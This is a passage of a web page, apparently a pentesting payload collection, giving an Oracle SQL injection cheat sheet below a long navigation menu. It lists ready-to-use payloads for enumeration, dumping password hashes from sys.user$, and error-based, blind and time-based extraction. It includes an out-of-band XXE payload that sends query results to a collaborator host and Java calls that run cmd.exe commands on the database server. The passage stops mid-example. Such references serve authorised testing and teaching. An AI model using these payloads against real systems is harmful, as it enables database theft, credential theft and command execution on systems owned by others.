<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - PHP
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Python
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Ruby
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53_2" >
<label class="md-nav__link" for="__nav_53_2" id="__nav_53_2_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_53_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53_2">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
XSS Filter Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
<span class="md-ellipsis">
Polyglot XSS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Common WAF Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
CSP Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_60">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_61">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
<span class="md-ellipsis">
Twitter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
<span class="md-ellipsis">
Youtube
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_62" >
<label class="md-nav__link" for="__nav_62" id="__nav_62_label" tabindex="0">
<span class="md-ellipsis">
template vuln
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_62_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_62">
<span class="md-nav__icon md-icon"></span>
template vuln
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_template_vuln/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Title
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</div>
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<h1 id="oracle-sql-injection">Oracle SQL Injection</h1>
<blockquote>
<p>Oracle SQL Injection is a type of security vulnerability that arises when attackers can insert or "inject" malicious SQL code into SQL queries executed by Oracle Database. This can occur when user inputs are not properly sanitized or parameterized, allowing attackers to manipulate the query logic. This can lead to unauthorized access, data manipulation, and other severe security implications.</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#oracle-sql-default-databases">Oracle SQL Default Databases</a></li>
<li><a href="#oracle-sql-comments">Oracle SQL Comments</a></li>
<li><a href="#oracle-sql-enumeration">Oracle SQL Enumeration</a></li>
<li><a href="#oracle-sql-database-credentials">Oracle SQL Database Credentials</a></li>
<li><a href="#oracle-sql-methodology">Oracle SQL Methodology</a><ul>
<li><a href="#oracle-sql-list-databases">Oracle SQL List Databases</a></li>
<li><a href="#oracle-sql-list-tables">Oracle SQL List Tables</a></li>
<li><a href="#oracle-sql-list-columns">Oracle SQL List Columns</a></li>
</ul>
</li>
<li><a href="#oracle-sql-error-based">Oracle SQL Error Based</a></li>
<li><a href="#oracle-sql-blind">Oracle SQL Blind</a><ul>
<li><a href="#oracle-blind-with-substring-equivalent">Oracle Blind With Substring Equivalent</a></li>
</ul>
</li>
<li><a href="#oracle-sql-time-based">Oracle SQL Time Based</a></li>
<li><a href="#oracle-sql-out-of-band">Oracle SQL Out of Band</a></li>
<li><a href="#oracle-sql-command-execution">Oracle SQL Command Execution</a><ul>
<li><a href="#oracle-java-execution">Oracle Java Execution</a></li>
<li><a href="#oracle-java-class">Oracle Java Class</a></li>
</ul>
</li>
<li><a href="#OracleSQL-file-manipulation">OracleSQL File Manipulation</a><ul>
<li><a href="#OracleSQL-read-file">OracleSQL Read File</a></li>
<li><a href="#OracleSQL-write-file">OracleSQL Write File</a></li>
<li><a href="#package-os_command">Package os_command</a></li>
<li><a href="#dbms_scheduler-jobs">DBMS_SCHEDULER Jobs</a></li>
</ul>
</li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="oracle-sql-default-databases">Oracle SQL Default Databases</h2>
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>SYSTEM</td>
<td>Available in all versions</td>
</tr>
<tr>
<td>SYSAUX</td>
<td>Available in all versions</td>
</tr>
</tbody>
</table>
<h2 id="oracle-sql-comments">Oracle SQL Comments</h2>
<table>
<thead>
<tr>
<th>Type</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>Single-Line Comment</td>
<td><code>--</code></td>
</tr>
<tr>
<td>Multi-Line Comment</td>
<td><code>/**/</code></td>
</tr>
</tbody>
</table>
<h2 id="oracle-sql-enumeration">Oracle SQL Enumeration</h2>
<table>
<thead>
<tr>
<th>Description</th>
<th>SQL Query</th>
</tr>
</thead>
<tbody>
<tr>
<td>DBMS version</td>
<td><code>SELECT user FROM dual UNION SELECT * FROM v$version</code></td>
</tr>
<tr>
<td>DBMS version</td>
<td><code>SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';</code></td>
</tr>
<tr>
<td>DBMS version</td>
<td><code>SELECT banner FROM v$version WHERE banner LIKE 'TNS%';</code></td>
</tr>
<tr>
<td>DBMS version</td>
<td><code>SELECT BANNER FROM gv$version WHERE ROWNUM = 1;</code></td>
</tr>
<tr>
<td>DBMS version</td>
<td><code>SELECT version FROM v$instance;</code></td>
</tr>
<tr>
<td>Hostname</td>
<td><code>SELECT UTL_INADDR.get_host_name FROM dual;</code></td>
</tr>
<tr>
<td>Hostname</td>
<td><code>SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;</code></td>
</tr>
<tr>
<td>Hostname</td>
<td><code>SELECT UTL_INADDR.get_host_address FROM dual;</code></td>
</tr>
<tr>
<td>Hostname</td>
<td><code>SELECT host_name FROM v$instance;</code></td>
</tr>
<tr>
<td>Database name</td>
<td><code>SELECT global_name FROM global_name;</code></td>
</tr>
<tr>
<td>Database name</td>
<td><code>SELECT name FROM V$DATABASE;</code></td>
</tr>
<tr>
<td>Database name</td>
<td><code>SELECT instance_name FROM V$INSTANCE;</code></td>
</tr>
<tr>
<td>Database name</td>
<td><code>SELECT SYS.DATABASE_NAME FROM DUAL;</code></td>
</tr>
<tr>
<td>Database name</td>
<td><code>SELECT sys_context('USERENV', 'CURRENT_SCHEMA') FROM dual;</code></td>
</tr>
</tbody>
</table>
<h2 id="oracle-sql-database-credentials">Oracle SQL Database Credentials</h2>
<table>
<thead>
<tr>
<th>Query</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>SELECT username FROM all_users;</code></td>
<td>Available on all versions</td>
</tr>
<tr>
<td><code>SELECT name, password from sys.user$;</code></td>
<td>Privileged, &lt;= 10g</td>
</tr>
<tr>
<td><code>SELECT name, spare4 from sys.user$;</code></td>
<td>Privileged, &lt;= 11g</td>
</tr>
</tbody>
</table>
<h2 id="oracle-sql-methodology">Oracle SQL Methodology</h2>
<h3 id="oracle-sql-list-databases">Oracle SQL List Databases</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">DISTINCT</span><span class="w"> </span><span class="k">owner</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">all_tables</span><span class="p">;</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">OWNER</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="k">DISTINCT</span><span class="p">(</span><span class="k">OWNER</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">SYS</span><span class="p">.</span><span class="n">ALL_TABLES</span><span class="p">)</span>
</code></pre></div>
<h3 id="oracle-sql-list-tables">Oracle SQL List Tables</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">table_name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">all_tables</span><span class="p">;</span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">owner</span><span class="p">,</span><span class="w"> </span><span class="k">table_name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">all_tables</span><span class="p">;</span>
<a id="__codelineno-1-3" name="__codelineno-1-3" href="#__codelineno-1-3"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">owner</span><span class="p">,</span><span class="w"> </span><span class="k">table_name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">all_tab_columns</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="k">column_name</span><span class="w"> </span><span class="k">LIKE</span><span class="w"> </span><span class="s1">&#39;%PASS%&#39;</span><span class="p">;</span>
<a id="__codelineno-1-4" name="__codelineno-1-4" href="#__codelineno-1-4"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">OWNER</span><span class="p">,</span><span class="k">TABLE_NAME</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">SYS</span><span class="p">.</span><span class="n">ALL_TABLES</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="k">OWNER</span><span class="o">=</span><span class="s1">&#39;&lt;DBNAME&gt;&#39;</span>
</code></pre></div>
<h3 id="oracle-sql-list-columns">Oracle SQL List Columns</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">column_name</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">all_tab_columns</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="k">table_name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;blah&#39;</span><span class="p">;</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="k">COLUMN_NAME</span><span class="p">,</span><span class="n">DATA_TYPE</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">SYS</span><span class="p">.</span><span class="n">ALL_TAB_COLUMNS</span><span class="w"> </span><span class="k">WHERE</span><span class="w"> </span><span class="k">TABLE_NAME</span><span class="o">=</span><span class="s1">&#39;&lt;TABLE_NAME&gt;&#39;</span><span class="w"> </span><span class="k">AND</span><span class="w"> </span><span class="k">OWNER</span><span class="o">=</span><span class="s1">&#39;&lt;DBNAME&gt;&#39;</span>
</code></pre></div>
<h2 id="oracle-sql-error-based">Oracle SQL Error Based</h2>
<table>
<thead>
<tr>
<th style="text-align: left;">Description</th>
<th style="text-align: left;">Query</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;">Invalid HTTP Request</td>
<td style="text-align: left;"><code>SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual</code></td>
</tr>
<tr>
<td style="text-align: left;">CTXSYS.DRITHSX.SN</td>
<td style="text-align: left;"><code>SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual</code></td>
</tr>
<tr>
<td style="text-align: left;">Invalid XPath</td>
<td style="text-align: left;"><code>SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual</code></td>
</tr>
<tr>
<td style="text-align: left;">Invalid XML</td>
<td style="text-align: left;"><code>SELECT to_char(dbms_xmlgen.getxml('select "'&amp;#124;&amp;#124;(select user from sys.dual)&amp;#124;&amp;#124;'" FROM sys.dual')) FROM dual</code></td>
</tr>
<tr>
<td style="text-align: left;">Invalid XML</td>
<td style="text-align: left;"><code>SELECT rtrim(extract(xmlagg(xmlelement("s", username &amp;#124;&amp;#124; ',')),'/s').getstringval(),',') FROM all_users</code></td>
</tr>
<tr>
<td style="text-align: left;">SQL Error</td>
<td style="text-align: left;"><code>SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))</code></td>
</tr>
<tr>
<td style="text-align: left;">XDBURITYPE getblob</td>
<td style="text-align: left;"><code>XDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')).getblob()</code></td>
</tr>
<tr>
<td style="text-align: left;">XDBURITYPE getclob</td>
<td style="text-align: left;"><code>XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob()</code></td>
</tr>
<tr>
<td style="text-align: left;">XMLType</td>
<td style="text-align: left;"><code>AND 1337=(SELECT UPPER(XMLType(CHR(60)\|\|CHR(58)\|\|'~'\|\|(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),' ','_'),'$','(DOLLAR)'),'@','(AT)'),'#','(HASH)'))\|\|'~'\|\|CHR(62))) FROM DUAL) -- -</code></td>
</tr>
<tr>
<td style="text-align: left;">DBMS_UTILITY</td>
<td style="text-align: left;"><code>AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH('~'\|\|(SELECT banner FROM v$version)\|\|'~') -- -</code></td>
</tr>
</tbody>
</table>
<p>When the injection point is inside a string use : <code>'||PAYLOAD--</code></p>
<h2 id="oracle-sql-blind">Oracle SQL Blind</h2>
<table>
<thead>
<tr>
<th style="text-align: left;">Description</th>
<th style="text-align: left;">Query</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left;">Version is 12.2</td>
<td style="text-align: left;"><code>SELECT COUNT(*) FROM v$version WHERE banner LIKE 'Oracle%12.2%';</code></td>
</tr>
<tr>
<td style="text-align: left;">Subselect is enabled</td>
<td style="text-align: left;"><code>SELECT 1 FROM dual WHERE 1=(SELECT 1 FROM dual)</code></td>
</tr>
<tr>
<td style="text-align: left;">Table log_table exists</td>
<td style="text-align: left;"><code>SELECT 1 FROM dual WHERE 1=(SELECT 1 from log_table);</code></td>
</tr>
<tr>
<td style="text-align: left;">Column message exists in table log_table</td>
<td style="text-align: left;"><code>SELECT COUNT(*) FROM user_tab_cols WHERE column_name = 'MESSAGE' AND table_name = 'LOG_TABLE';</code></td>
</tr>
<tr>
<td style="text-align: left;">First letter of first message is t</td>
<td style="text-align: left;"><code>SELECT message FROM log_table WHERE rownum=1 AND message LIKE 't%';</code></td>
</tr>
</tbody>
</table>
<h3 id="oracle-blind-with-substring-equivalent">Oracle Blind With Substring Equivalent</h3>
<table>
<thead>
<tr>
<th>Function</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>SUBSTR</code></td>
<td><code>SUBSTR('foobar', &lt;START&gt;, &lt;LENGTH&gt;)</code></td>
</tr>
</tbody>
</table>
<h2 id="oracle-sql-time-based">Oracle SQL Time Based</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="k">AND</span><span class="w"> </span><span class="p">[</span><span class="n">RANDNUM</span><span class="p">]</span><span class="o">=</span><span class="n">DBMS_PIPE</span><span class="p">.</span><span class="n">RECEIVE_MESSAGE</span><span class="p">(</span><span class="s1">&#39;[RANDSTR]&#39;</span><span class="p">,[</span><span class="n">SLEEPTIME</span><span class="p">])</span><span class="w"> </span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="k">AND</span><span class="w"> </span><span class="mi">1337</span><span class="o">=</span><span class="p">(</span><span class="k">CASE</span><span class="w"> </span><span class="k">WHEN</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="w"> </span><span class="k">THEN</span><span class="w"> </span><span class="n">DBMS_PIPE</span><span class="p">.</span><span class="n">RECEIVE_MESSAGE</span><span class="p">(</span><span class="s1">&#39;RANDSTR&#39;</span><span class="p">,</span><span class="mi">10</span><span class="p">)</span><span class="w"> </span><span class="k">ELSE</span><span class="w"> </span><span class="mi">1337</span><span class="w"> </span><span class="k">END</span><span class="p">)</span>
</code></pre></div>
<h2 id="oracle-sql-out-of-band">Oracle SQL Out of Band</h2>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">EXTRACTVALUE</span><span class="p">(</span><span class="n">xmltype</span><span class="p">(</span><span class="s1">&#39;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&lt;!DOCTYPE root [ &lt;!ENTITY % remote SYSTEM &quot;http://&#39;</span><span class="o">||</span><span class="p">(</span><span class="k">SELECT</span><span class="w"> </span><span class="n">YOUR</span><span class="o">-</span><span class="n">QUERY</span><span class="o">-</span><span class="n">HERE</span><span class="p">)</span><span class="o">||</span><span class="s1">&#39;.BURP-COLLABORATOR-SUBDOMAIN/&quot;&gt; %remote;]&gt;&#39;</span><span class="p">),</span><span class="s1">&#39;/l&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">dual</span>
</code></pre></div>
<h2 id="oracle-sql-command-execution">Oracle SQL Command Execution</h2>
<ul>
<li><a href="https://github.com/quentinhardy/odat">quentinhardy/odat</a> - ODAT (Oracle Database Attacking Tool)</li>
</ul>
<h3 id="oracle-java-execution">Oracle Java Execution</h3>
<ul>
<li>
<p>List Java privileges</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="k">select</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">dba_java_policy</span>
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="k">select</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">user_java_policy</span>
</code></pre></div>
</li>
<li>
<p>Grant privileges</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="k">exec</span><span class="w"> </span><span class="n">dbms_java</span><span class="p">.</span><span class="n">grant_permission</span><span class="p">(</span><span class="s1">&#39;SCOTT&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;SYS:java.io.FilePermission&#39;</span><span class="p">,</span><span class="s1">&#39;&lt;&lt;ALL FILES&gt;&gt;&#39;</span><span class="p">,</span><span class="s1">&#39;execute&#39;</span><span class="p">);</span>
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="k">exec</span><span class="w"> </span><span class="n">dbms_java</span><span class="p">.</span><span class="n">grant_permission</span><span class="p">(</span><span class="s1">&#39;SCOTT&#39;</span><span class="p">,</span><span class="s1">&#39;SYS:java.lang.RuntimePermission&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;writeFileDescriptor&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;&#39;</span><span class="p">);</span>
<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a><span class="k">exec</span><span class="w"> </span><span class="n">dbms_java</span><span class="p">.</span><span class="n">grant_permission</span><span class="p">(</span><span class="s1">&#39;SCOTT&#39;</span><span class="p">,</span><span class="s1">&#39;SYS:java.lang.RuntimePermission&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;readFileDescriptor&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;&#39;</span><span class="p">);</span>
</code></pre></div>
</li>
<li>
<p>Execute commands</p>
<ul>
<li>
<p>10g R2, 11g R1 and R2: <code>DBMS_JAVA_TEST.FUNCALL()</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">DBMS_JAVA_TEST</span><span class="p">.</span><span class="n">FUNCALL</span><span class="p">(</span><span class="s1">&#39;oracle/aurora/util/Wrapper&#39;</span><span class="p">,</span><span class="s1">&#39;main&#39;</span><span class="p">,</span><span class="s1">&#39;c:\\windows\\system32\\cmd.exe&#39;</span><span class="p">,</span><span class="s1">&#39;/c&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;dir &gt;c:\test.txt&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">DUAL</span>
